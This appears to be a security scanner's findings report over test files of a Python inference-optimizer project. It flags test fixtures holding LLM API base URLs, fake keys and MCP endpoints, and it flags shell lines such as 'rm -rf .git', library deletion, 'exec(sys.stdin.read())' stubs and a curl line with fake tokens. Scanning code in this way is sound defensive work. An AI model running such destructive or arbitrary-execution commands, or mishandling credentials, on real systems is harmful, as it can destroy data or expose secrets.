[Credential-related source omitted] - Network accessline 483
[ "HYPERLOOM_RUN_MODE=baremetal", "ANTHROPIC_BASE_URL=https://api.anthropic.com", - Network accessline 484
[Credential-related source omitted] - Network accessline 485
"ANTHROPIC_BASE_URL=https://api.anthropic.com", - Network accessline 486
[Credential-related source omitted] - Access to secretsline 486
[Credential-related source omitted] - Network accessline 487
[Credential-related source omitted] - Network accessline 488
"OPENAI_BASE_URL=https://api.openai.com/v1", - Access to secretsline 489
[Credential-related source omitted] - Network accessline 522
text = dotenv.read_text(encoding="utf-8") assert "ANTHROPIC_BASE_URL=https://api.anthropic.com" in text - Network accessline 523
assert "ANTHROPIC_BASE_URL=https://api.anthropic.com" in text - Network accessline 524
[Credential-related source omitted] - Access to secretsline 524
[Credential-related source omitted] - Network accessline 525
[Credential-related source omitted] - Network accessline 526
assert "OPENAI_BASE_URL=https://api.openai.com/v1" in text - Access to secretsline 527
[Credential-related source omitted] - Network accessline 534
[Credential-related source omitted] - Access to secretsline 534
[Credential-related source omitted] - Network accessline 535
dotenv.write_text("DEEPSEEK_BASE_URL=https://api.deepseek.com/anthropic\n", encoding="utf-8") - Network accessline 560
assert proc.returncode == 99, f"expected the credential die(), got {proc.returncode}: {proc.stderr}" assert "DEEPSEEK_BASE_URL=https://api.deepseek.com/anthropic" in dotenv.read_text(encoding="utf-8") - Network accessline 561
assert "DEEPSEEK_BASE_URL=https://api.deepseek.com/anthropic" in dotenv.read_text(encoding="utf-8") - Network accessline 580
"explicit anthropic url": { "_".join(("DEEPSEEK", "API", "KEY")): "sk-ds", "ANTHROPIC_BASE_URL": "https://gw.example/anthropic", - Network accessline 581
"_".join(("DEEPSEEK", "API", "KEY")): "sk-ds", "ANTHROPIC_BASE_URL": "https://gw.example/anthropic", }, - Network accessline 582
"ANTHROPIC_BASE_URL": "https://gw.example/anthropic", - Network accessline 584
"foreign openai side": { "_".join(("DEEPSEEK", "API", "KEY")): "sk-ds", "OPENAI_BASE_URL": "https://gw.example/v1", - Network accessline 585
"_".join(("DEEPSEEK", "API", "KEY")): "sk-ds", "OPENAI_BASE_URL": "https://gw.example/v1", "_".join(("OPENAI", "API", "KEY")): "sk-gw", - Network accessline 586
"OPENAI_BASE_URL": "https://gw.example/v1", - Network accessline 594
"uppercase anthropic segment": { "_".join(("DEEPSEEK", "API", "KEY")): "sk-ds", "DEEPSEEK_BASE_URL": "https://gw.example/Anthropic", - Network accessline 595
"_".join(("DEEPSEEK", "API", "KEY")): "sk-ds", "DEEPSEEK_BASE_URL": "https://gw.example/Anthropic", }, - Network accessline 596
"DEEPSEEK_BASE_URL": "https://gw.example/Anthropic", - Network accessline 598
"bare deepseek host": { "_".join(("DEEPSEEK", "API", "KEY")): "sk-ds", "DEEPSEEK_BASE_URL": "https://api.deepseek.com", - Network accessline 599
"_".join(("DEEPSEEK", "API", "KEY")): "sk-ds", "DEEPSEEK_BASE_URL": "https://api.deepseek.com", }, - Network accessline 600
"DEEPSEEK_BASE_URL": "https://api.deepseek.com", - Access to secretsline 655
[Credential-related source omitted] - Access to secretsline 671
[Credential-related source omitted] - Network accessline 699
"CHECK_ONLY=0", "DRY_RUN=0", "ANTHROPIC_BASE_URL=https://api.deepseek.com/anthropic", - Network accessline 700
[Credential-related source omitted] - Network accessline 701
"ANTHROPIC_BASE_URL=https://api.deepseek.com/anthropic", - Network accessline 702
[Credential-related source omitted] - Access to secretsline 702
[Credential-related source omitted] - Network accessline 703
"OPENAI_BASE_URL=https://api.deepseek.com/v1", - Access to secretsline 704
[Credential-related source omitted] - Network accessline 745
"OPENAI_BASE_URL=https://gw.example.com/v1", - Access to secretsline 746
[Credential-related source omitted] - Access to secretsline 772
[Credential-related source omitted] - Network accessline 790
"OPENAI_BASE_URL=https://gw.example.com/v1", - Access to secretsline 791
[Credential-related source omitted] - Access to secretsline 807
[Credential-related source omitted] - Access to secretsline 808
[Credential-related source omitted] - Access to secretsline 861
[Credential-related source omitted] - Access to secretsline 880
[Credential-related source omitted] - Access to secretsline 881
[Credential-related source omitted] - Access to secretsline 894
[Credential-related source omitted] - Access to secretsline 895
[Credential-related source omitted] - Access to secretsline 923
[Credential-related source omitted] - Network accessline 963
"CHECK_ONLY=0", "DRY_RUN=0", "ANTHROPIC_BASE_URL=https://gw.example.com/anthropic", - Network accessline 964
[Credential-related source omitted] - Network accessline 965
"ANTHROPIC_BASE_URL=https://gw.example.com/anthropic", - Access to secretsline 966
[Credential-related source omitted] - Access to secretsline 967
[Credential-related source omitted] - Access to secretsline 993
[Credential-related source omitted] - Access to secretsline 1011
[Credential-related source omitted] - Access to secretsline 1290
[Credential-related source omitted] - Access to secretsline 1321
[Credential-related source omitted] - Access to secretsline 1322
[Credential-related source omitted] - Access to secretsline 1411
[Credential-related source omitted] - Network accessline 1426
assert res.returncode == 0, res.stderr assert f"https://github.com/ROCm/ATOM.git@{_ATOM_DEV_IMAGE_COMMIT}" in res.stdout - Network accessline 1427
assert f"https://github.com/ROCm/ATOM.git@{_ATOM_DEV_IMAGE_COMMIT}" in res.stdout - Access to secretsline 1554
[Credential-related source omitted] - Access to secretsline 1613
[Credential-related source omitted] - Access to secretsline 1630
[Credential-related source omitted] - Access to secretsline 1646
[Credential-related source omitted] - Access to secretsline 1680
[Credential-related source omitted] - Access to secretsline 1695
[Credential-related source omitted] - Access to secretsline 1707
[Credential-related source omitted] - Access to secretsline 1720
[Credential-related source omitted] - Access to secretsline 1732
[Credential-related source omitted] - Access to secretsline 1742
[Credential-related source omitted] - Access to secretsline 1759
[Credential-related source omitted] - Dangerous shell operationline 1955
f'rm -f "{torch_lib}/libamdhip64.so" "{torch_lib}/libroctracer64.so"\n' - Access to secretsline 2317
[Credential-related source omitted] - Access to secretsline 2346
[Credential-related source omitted] - Access to secretsline 2364
[Credential-related source omitted] - Access to secretsline 2371
[Credential-related source omitted] - Access to secretsline 2405
[Credential-related source omitted] - Access to secretsline 2463
[Credential-related source omitted] - Access to secretsline 2501
[Credential-related source omitted] - Network accessline 2682
"SGLANG_ROCM_EXTRA=rocm724", "SGLANG_ROCM_PYPI_VERSION=7.2.4", "SGLANG_REPO=https://example.invalid/sglang.git", - Network accessline 2683
"SGLANG_ROCM_PYPI_VERSION=7.2.4", "SGLANG_REPO=https://example.invalid/sglang.git", "SGLANG_REF=main", - Network accessline 2684
"SGLANG_REPO=https://example.invalid/sglang.git", - Network accessline 2685
"SGLANG_REF=main", "AITER_REPO=https://example.invalid/aiter.git", f"AITER_ROOT={tmp_path / 'aiter'}", - Network accessline 2686
"AITER_REPO=https://example.invalid/aiter.git", - Access to secretsline 2729
[Credential-related source omitted] - Access to secretsline 2732
[Credential-related source omitted] - Access to secretsline 2734
[Credential-related source omitted] - Access to secretsline 2735
[Credential-related source omitted] - Access to secretsline 2736
[Credential-related source omitted] - Access to secretsline 2738
[Credential-related source omitted] - Access to secretsline 2739
[Credential-related source omitted] - Access to secretsline 2740
[Credential-related source omitted] - Access to secretsline 2743
[Credential-related source omitted] - Access to secretsline 2745
[Credential-related source omitted] - Access to secretsline 2799
[Credential-related source omitted] - Access to secretsline 2805
[Credential-related source omitted] - Access to secretsline 2864
[Credential-related source omitted] - Access to secretsline 2882
[Credential-related source omitted] - Network accessline 2886
[Credential-related source omitted] - Network accessline 2887
[Credential-related source omitted] - Access to secretsline 2887
[Credential-related source omitted] - Network accessline 2888
"ANTHROPIC_BASE_URL=https://api.anthropic.com", - Network accessline 2889
[Credential-related source omitted] - Network accessline 2890
"OPENAI_BASE_URL=https://api.anthropic.com", - Access to secretsline 2891
[Credential-related source omitted] - Access to secretsline 2893
[Credential-related source omitted] - Network accessline 2911
"HYPERLOOM_SETUP_ENV_AUTHORITATIVE=1", "HYPERLOOM_SETUP_LLM_MODE=anthropic", "_ANTHROPIC_BASE_URL_VAL=https://api.anthropic.com", - Network accessline 2912
"HYPERLOOM_SETUP_LLM_MODE=anthropic", "_ANTHROPIC_BASE_URL_VAL=https://api.anthropic.com", "_ANTHROPIC_KEY_VAL='<PLEASE_FILL_IN>'", - Network accessline 2913
"_ANTHROPIC_BASE_URL_VAL=https://api.anthropic.com", - Access to secretsline 2918
[Credential-related source omitted] - Network accessline 2947
kernel_text = kernel_env.read_text(encoding="utf-8") dotenv_text = dotenv.read_text(encoding="utf-8") assert "export ANTHROPIC_BASE_URL='https://api.anthropic.com'" in kernel_text - Network accessline 2948
dotenv_text = dotenv.read_text(encoding="utf-8") assert "export ANTHROPIC_BASE_URL='https://api.anthropic.com'" in kernel_text assert "export OPENAI_BASE_URL=" not in kernel_text - Network accessline 2949
assert "export ANTHROPIC_BASE_URL='https://api.anthropic.com'" in kernel_text - Access to secretsline 2951
[Credential-related source omitted] - Access to secretsline 2952
[Credential-related source omitted] - Network accessline 2953
assert "OPENAI_BASE_URL=https://api.anthropic.com" in dotenv_text - Access to secretsline 2954
[Credential-related source omitted] - Access to secretsline 2957
[Credential-related source omitted] - Access to secretsline 2961
[Credential-related source omitted] - Access to secretsline 2963
[Credential-related source omitted] - Network accessline 2967
[Credential-related source omitted] - Network accessline 2968
[Credential-related source omitted] - Access to secretsline 2968
[Credential-related source omitted] - Network accessline 2969
"ANTHROPIC_BASE_URL=https://api.anthropic.com", - Network accessline 2986
"CHECK_ONLY=0", "DRY_RUN=0", "_ANTHROPIC_BASE_URL_VAL=https://api.anthropic.com", - Network accessline 2987
"DRY_RUN=0", "_ANTHROPIC_BASE_URL_VAL=https://api.anthropic.com", "_ANTHROPIC_KEY_VAL=anthropic-real-key", - Network accessline 2988
"_ANTHROPIC_BASE_URL_VAL=https://api.anthropic.com", - Access to secretsline 2990
[Credential-related source omitted] - Access to secretsline 2994
[Credential-related source omitted] - Access to secretsline 3025
[Credential-related source omitted] - Network accessline 3026
[Credential-related source omitted] - Access to secretsline 3026
[Credential-related source omitted] - Network accessline 3027
assert "ANTHROPIC_BASE_URL=https://api.anthropic.com" in dotenv_text - Network accessline 3029
[Credential-related source omitted] - Access to secretsline 3029
[Credential-related source omitted] - Network accessline 3030
assert "export ANTHROPIC_BASE_URL='https://api.anthropic.com'" in kernel_text - Access to secretsline 3033
[Credential-related source omitted] - Access to secretsline 3034
[Credential-related source omitted] - Access to secretsline 3035
[Credential-related source omitted] - Access to secretsline 3049
[Credential-related source omitted] - Access to secretsline 3072
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_setup_selected_python.py
- Executable scriptline 1
Executable file - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 75
[Credential-related source omitted] - Dangerous shell operationline 96
" exec(args[1])\n" - Dangerous shell operationline 99
" exec(sys.stdin.read())\n" - Access to secretsline 149
[Credential-related source omitted] - Access to secretsline 197
[Credential-related source omitted] - Access to secretsline 216
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_sglang_context_length_cap.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_shared_state_evolution.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_shared_state_kernel_opt.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_shared_state_persistence.py
src/hyperloom/inference_optimizer/tests/test_shared_state_renderers.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_shared_state_renderers_coverage_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_shared_state_units.py
src/hyperloom/inference_optimizer/tests/test_soft_deadline_from_ready.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_source_resolution_reason_class.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_spec_decode_context_copy.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_specialist_auto_retry.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_specialist_codex_backend.py
- Executable scriptline 1
Executable file - Access to secretsline 38
[Credential-related source omitted] - Access to secretsline 39
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Network accessline 52
_OPENAI_ONLY_ENV: dict[str, str] = { "OPENAI_BASE_URL": "https://gateway.invalid/Unified/v1", - Network accessline 53
"OPENAI_BASE_URL": "https://gateway.invalid/Unified/v1", - Access to secretsline 54
[Credential-related source omitted] - Network accessline 55
} _ANTHROPIC_ONLY_ENV: dict[str, str] = { "ANTHROPIC_BASE_URL": "https://gateway.invalid/Anthropic", - Network accessline 56
[Credential-related source omitted] - Network accessline 57
"ANTHROPIC_BASE_URL": "https://gateway.invalid/Anthropic", - Access to secretsline 58
[Credential-related source omitted] - Access to secretsline 350
[Credential-related source omitted] - Access to secretsline 351
[Credential-related source omitted] - Access to secretsline 565
[Credential-related source omitted] - Network accessline 776
"#!/usr/bin/env bash\n" "set -e\n" "cat >/dev/null\n" - Network accessline 777
"set -e\n" "cat >/dev/null\n" "cat > \"$PWD/specialist_done.json\" <<'EOF'\n" - Network accessline 778
"cat >/dev/null\n" "cat > \"$PWD/specialist_done.json\" <<'EOF'\n" '{"proposal_set":[],"summary":"ok"}\n' - Network accessline 801
[Credential-related source omitted] - Access to secretsline 801
[Credential-related source omitted] - Network accessline 803
monkeypatch.setenv("OPENAI_BASE_URL", "https://gateway.invalid/Unified/v1") - Network accessline 820
monkeypatch, { "OPENAI_BASE_URL": "https://gateway.invalid/Unified/v1", - Network accessline 821
[Credential-related source omitted] - Network accessline 822
"OPENAI_BASE_URL": "https://gateway.invalid/Unified/v1", - Access to secretsline 823
[Credential-related source omitted] - Access to secretsline 871
[Credential-related source omitted] - Network accessline 893
monkeypatch, { "OPENAI_BASE_URL": "https://gateway.invalid/Unified/v1", - Network accessline 894
[Credential-related source omitted] - Network accessline 895
"OPENAI_BASE_URL": "https://gateway.invalid/Unified/v1", - Access to secretsline 896
[Credential-related source omitted] - Access to secretsline 933
[Credential-related source omitted] - Network accessline 1077
"pr_monitor": { "type": "http", "url": "https://mcp.invalid/rpc", - Network accessline 1078
[Credential-related source omitted] - Network accessline 1079
"url": "https://mcp.invalid/rpc", - Access to secretsline 1080
[Credential-related source omitted] - Access to secretsline 1087
[Credential-related source omitted] - Network accessline 1128
config_text = (workspace / ".codex" / "config.toml").read_text(encoding="utf-8") assert "[mcp_servers.pr_monitor]" in config_text assert 'url = "https://mcp.invalid/rpc"' in config_text - Network accessline 1129
assert "[mcp_servers.pr_monitor]" in config_text assert 'url = "https://mcp.invalid/rpc"' in config_text assert "[mcp_servers.local_tools]" in config_text - Network accessline 1130
assert 'url = "https://mcp.invalid/rpc"' in config_text - Access to secretsline 1134
[Credential-related source omitted] - Access to secretsline 1138
[Credential-related source omitted] - Access to secretsline 1148
[Credential-related source omitted] - Network accessline 1167
monkeypatch, { "OPENAI_BASE_URL": "https://gateway.invalid/Unified/v1", - Network accessline 1168
[Credential-related source omitted] - Network accessline 1169
"OPENAI_BASE_URL": "https://gateway.invalid/Unified/v1", - Access to secretsline 1170
[Credential-related source omitted] - Access to secretsline 1186
[Credential-related source omitted] - Network accessline 1269
mcp_path = tmp_path / "mcp.json" mcp_path.write_text( json.dumps({"mcpServers": {"legacy": {"type": "sse", "url": "https://mcp.invalid/sse"}}}), - Network accessline 1270
mcp_path.write_text( json.dumps({"mcpServers": {"legacy": {"type": "sse", "url": "https://mcp.invalid/sse"}}}), encoding="utf-8", - Network accessline 1271
json.dumps({"mcpServers": {"legacy": {"type": "sse", "url": "https://mcp.invalid/sse"}}}), - Network accessline 1292
tmp_path / "bin" / "codex", "#!/usr/bin/env bash\n" "cat >/dev/null\n" - Network accessline 1293
"#!/usr/bin/env bash\n" "cat >/dev/null\n" "printf '%s\\n' " - Access to secretsline 1300
[Credential-related source omitted] - Network accessline 1431
[Credential-related source omitted] - Network accessline 1432
[Credential-related source omitted] - Network accessline 1433
[Credential-related source omitted] - Network accessline 1439
web, local = servers assert web.is_http and web.url == "https://mcp.example.invalid/x" - Network accessline 1440
assert web.is_http and web.url == "https://mcp.example.invalid/x" - Network accessline 1447
("server", "message"), [ ({"type": "sse", "url": "https://x.invalid"}, "unsupported transport"), - Network accessline 1448
[ ({"type": "sse", "url": "https://x.invalid"}, "unsupported transport"), ({"url": "https://x.invalid", "command": "node", "type": "http", "extra": 1}, "unsupported HTTP fields"), - Network accessline 1449
({"type": "sse", "url": "https://x.invalid"}, "unsupported transport"), - Network accessline 1450
({"url": "https://x.invalid", "command": "node", "type": "http", "extra": 1}, "unsupported HTTP fields"), - Network accessline 1451
({"url": "ftp://x.invalid"}, "invalid HTTP URL"), ({"url": "https://user:pw@x.invalid"}, "embeds credentials"), ({"command": "node", "args": [1]}, "args must be a list of strings"), - Network accessline 1452
({"url": "https://user:pw@x.invalid"}, "embeds credentials"),
src/hyperloom/inference_optimizer/tests/test_specialist_concurrent_dispatch.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_specialist_dispatch_params.py
src/hyperloom/inference_optimizer/tests/test_specialist_dsh_backend.py
- Executable scriptline 1
Executable file - Access to secretsline 30
[Credential-related source omitted] - Access to secretsline 31
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted] - Network accessline 42
_OPENAI_ENV: dict[str, str] = { "OPENAI_BASE_URL": "https://gateway.invalid/Unified/v1", - Network accessline 43
"OPENAI_BASE_URL": "https://gateway.invalid/Unified/v1", - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 146
[Credential-related source omitted] - Access to secretsline 151
[Credential-related source omitted] - Access to secretsline 152
[Credential-related source omitted] - Access to secretsline 251
[Credential-related source omitted] - Access to secretsline 278
[Credential-related source omitted] - Network accessline 389
"pr_monitor": { "type": "http", "url": "http://pr-monitor.invalid/mcp", - Network accessline 390
[Credential-related source omitted] - Network accessline 391
"url": "http://pr-monitor.invalid/mcp", - Access to secretsline 392
[Credential-related source omitted] - Access to secretsline 394
[Credential-related source omitted] - Network accessline 416
rows = _patch_rows(patch) http = rows["mcp-pr_monitor"]["config"] assert (http["transport"], http["url"]) == ("streamable-http", "http://pr-monitor.invalid/mcp") - Network accessline 417
http = rows["mcp-pr_monitor"]["config"] assert (http["transport"], http["url"]) == ("streamable-http", "http://pr-monitor.invalid/mcp") stdio = rows["mcp-local"]["config"] - Network accessline 418
assert (http["transport"], http["url"]) == ("streamable-http", "http://pr-monitor.invalid/mcp")
src/hyperloom/inference_optimizer/tests/test_specialist_in_flight.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_specialist_integration.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_specialist_lessons_section.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_specialist_lifecycle.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_specialist_mcp_config.py
- Executable scriptline 1
Executable file - Network accessline 12
cfg = write_specialist_mcp_config( session_dir=tmp_path, pr_monitor_mcp_url="https://pr.example/mcp", - Network accessline 13
session_dir=tmp_path, pr_monitor_mcp_url="https://pr.example/mcp", ) - Network accessline 14
pr_monitor_mcp_url="https://pr.example/mcp", - Network accessline 16
assert cfg is not None payload = json.loads(cfg.read_text(encoding="utf-8")) assert payload["mcpServers"]["pr_monitor"]["url"] == "https://pr.example/mcp" - Network accessline 17
payload = json.loads(cfg.read_text(encoding="utf-8")) assert payload["mcpServers"]["pr_monitor"]["url"] == "https://pr.example/mcp" assert "recipe_kb" not in payload["mcpServers"] - Network accessline 18
assert payload["mcpServers"]["pr_monitor"]["url"] == "https://pr.example/mcp"
src/hyperloom/inference_optimizer/tests/test_specialist_patch_safety_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_specialist_prompt_builder_coverage_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_specialist_rebench_unit.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_specialist_roofline_evidence.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_specialist_runner_helpers_unit.py
- Executable scriptline 1
Executable file - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Network accessline 71
line = "curl --header x ak-abc123def456 and pk-lf-98765 and sk-zyx987" - Access to secretsline 193
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_specialist_runtime_findings.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_specialist_selfcheck.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_specialist_subprocess.py
- Executable scriptline 1
Executable file - Access to secretsline 55
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Network accessline 74
def test_build_specialist_env_forwards_hub_settings_but_not_the_hub_token(monkeypatch): hub = { "HF_ENDPOINT": "https://hf-mirror.example", - Network accessline 75
hub = { "HF_ENDPOINT": "https://hf-mirror.example", "HF_HOME": "/shared/hf", - Network accessline 76
"HF_ENDPOINT": "https://hf-mirror.example", - Access to secretsline 98
[Credential-related source omitted] - Access to secretsline 99
[Credential-related source omitted] - Access to secretsline 103
[Credential-related source omitted] - Access to secretsline 104
[Credential-related source omitted] - Access to secretsline 109
[Credential-related source omitted] - Access to secretsline 116
[Credential-related source omitted] - Network accessline 1845
parent.chmod(0o755) # the account traverses these; the app never changes their modes mcp = session_dir / "runtime" / "specialist_mcp.json" mcp.write_text('{"mcpServers": {"pr_monitor": {"type": "http", "url": "http://x"}}}' - Network accessline 1846
mcp = session_dir / "runtime" / "specialist_mcp.json" mcp.write_text('{"mcpServers": {"pr_monitor": {"type": "http", "url": "http://x"}}}', encoding="utf-8") mcp.chmod(0o600) - Network accessline 1847
mcp.write_text('{"mcpServers": {"pr_monitor": {"type": "http", "url": "http://x"}}}', encoding="utf-8") - Access to secretsline 1902
[Credential-related source omitted] - Access to secretsline 2002
[Credential-related source omitted] - Dangerous shell operationline 2140
rm -f .git - Access to secretsline 2152
[Credential-related source omitted] - Dangerous shell operationline 2167
rm -rf .git - Access to secretsline 2180
[Credential-related source omitted]
src/hyperloom/inference_optimizer/tests/test_specialist_subprocess_helpers.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_specialist_subprocess_kill_unit.py
src/hyperloom/inference_optimizer/tests/test_specialist_vendor_backend_hint.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_speculative_capability.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_speculative_decoding_specialist.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_sqlite_journal_mode.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_ssh_client.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_ssh_known_hosts.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_startup_robustness.py
- Executable scriptline 1
Executable file - Access to secretsline 43
[Credential-related source omitted] - Network accessline 44
clean_creds_env.setenv("_".join(("OPENAI", "API", "KEY")), "fake-token") clean_creds_env.setenv("OPENAI_BASE_URL", "https://gateway.example/v1") - Network accessline 45
clean_creds_env.setenv("OPENAI_BASE_URL", "https://gateway.example/v1") - Network accessline 51
clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 60
clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Access to secretsline 69
[Credential-related source omitted] - Network accessline 94
clean_creds_env.setenv(_OAUTH_ENV, "sk-ant-oat01-fake") anthropic_url, openai_url = cli_credentials._resolve_llm_endpoints() assert anthropic_url == "https://api.anthropic.com" - Network accessline 95
anthropic_url, openai_url = cli_credentials._resolve_llm_endpoints() assert anthropic_url == "https://api.anthropic.com" assert openai_url == "" - Network accessline 96
assert anthropic_url == "https://api.anthropic.com" - Network accessline 102
clean_creds_env.setenv(_OAUTH_ENV, "sk-ant-oat01-fake") clean_creds_env.setenv("_".join(("OPENAI", "API", "KEY")), "ak-openai") clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 103
clean_creds_env.setenv("_".join(("OPENAI", "API", "KEY")), "ak-openai") clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") cli_credentials._validate_credentials() - Network accessline 104
clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 110
clean_creds_env.setenv(_OAUTH_ENV, "sk-ant-oat01-fake") clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 111
clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Access to secretsline 127
[Credential-related source omitted] - Access to secretsline 134
[Credential-related source omitted] - Network accessline 135
clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://gw.example.com/anthropic") - Network accessline 157
clean_creds_env.setenv(_OAUTH_ENV, "sk-ant-oat01-fake") clean_creds_env.setenv("_".join(("OPENAI", "API", "KEY")), "ak-openai") clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 158
clean_creds_env.setenv("_".join(("OPENAI", "API", "KEY")), "ak-openai") clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") cli_credentials._validate_credentials() - Network accessline 159
clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 168
clean_creds_env.setenv(_OAUTH_ENV, "sk-ant-oat01-fake") clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 169
clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 170
clean_creds_env.setenv("_".join(("ANTHROPIC", "API", "KEY")), "sk-ant-api") clean_creds_env.setenv("_".join(("OPENAI", "API", "KEY")), "ak-openai") clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 171
clean_creds_env.setenv("_".join(("OPENAI", "API", "KEY")), "ak-openai") clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") cli_credentials._validate_credentials() - Network accessline 172
clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 185
clean_creds_env.setenv("OPENAI_BASE_URL", "https://gateway.example/v1") - Access to secretsline 199
[Credential-related source omitted] - Network accessline 214
clean_creds_env.setenv("OPENAI_BASE_URL", "https://gateway.example/v1") - Network accessline 215
anthropic_url, openai_url = cli_credentials._resolve_llm_endpoints() assert openai_url == "https://gateway.example/v1" assert anthropic_url == "" - Network accessline 216
assert openai_url == "https://gateway.example/v1" - Network accessline 222
clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://gateway.example/anthropic") - Network accessline 223
anthropic_url, openai_url = cli_credentials._resolve_llm_endpoints() assert anthropic_url == "https://gateway.example/anthropic" assert openai_url == "" - Network accessline 224
assert anthropic_url == "https://gateway.example/anthropic" - Network accessline 229
clean_creds_env.setenv("_".join(("ANTHROPIC", "API", "KEY")), "anthropic-fake-token") anthropic_url, openai_url = cli_credentials._resolve_llm_endpoints() assert anthropic_url == "https://api.anthropic.com" - Network accessline 230
anthropic_url, openai_url = cli_credentials._resolve_llm_endpoints() assert anthropic_url == "https://api.anthropic.com" assert openai_url == "" - Network accessline 231
assert anthropic_url == "https://api.anthropic.com" - Network accessline 237
anthropic_url, openai_url = cli_credentials._resolve_llm_endpoints() assert anthropic_url == "" assert openai_url == "https://api.openai.com/v1" - Network accessline 239
assert openai_url == "https://api.openai.com/v1" - Network accessline 246
clean_creds_env.setenv("_".join(("OPENAI", "API", "KEY")), "ak-gw") clean_creds_env.setenv("_".join(("ANTHROPIC", "API", "KEY")), "ak-gw") clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/api/v1/llm-proxy/v1") - Network accessline 247
clean_creds_env.setenv("_".join(("ANTHROPIC", "API", "KEY")), "ak-gw") clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/api/v1/llm-proxy/v1") clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://gw.example.com/api/ - Network accessline 248
clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/api/v1/llm-proxy/v1") - Network accessline 249
clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://gw.example.com/api/v1/llm-proxy") - Network accessline 250
anthropic_url, openai_url = cli_credentials._resolve_llm_endpoints() assert anthropic_url == "https://gw.example.com/api/v1/llm-proxy" assert openai_url == "https://gw.example.com/api/v1/llm-proxy/v1" - Network accessline 251
assert anthropic_url == "https://gw.example.com/api/v1/llm-proxy" - Network accessline 252
assert openai_url == "https://gw.example.com/api/v1/llm-proxy/v1" - Network accessline 257
clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 267
clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://gw.example.com/anthropic") - Network accessline 277
clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 287
clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 298
clean_creds_env.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 299
clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://gw.example.com") - Network accessline 307
clean_creds_env.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 308
clean_creds_env.setenv("_".join(("OPENAI", "API", "KEY")), "sk-openai") clean_creds_env.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") clean_creds_env.setenv("_".join(("ANTHROPIC", "API", "KEY")), "sk-ant") - Network accessline 309
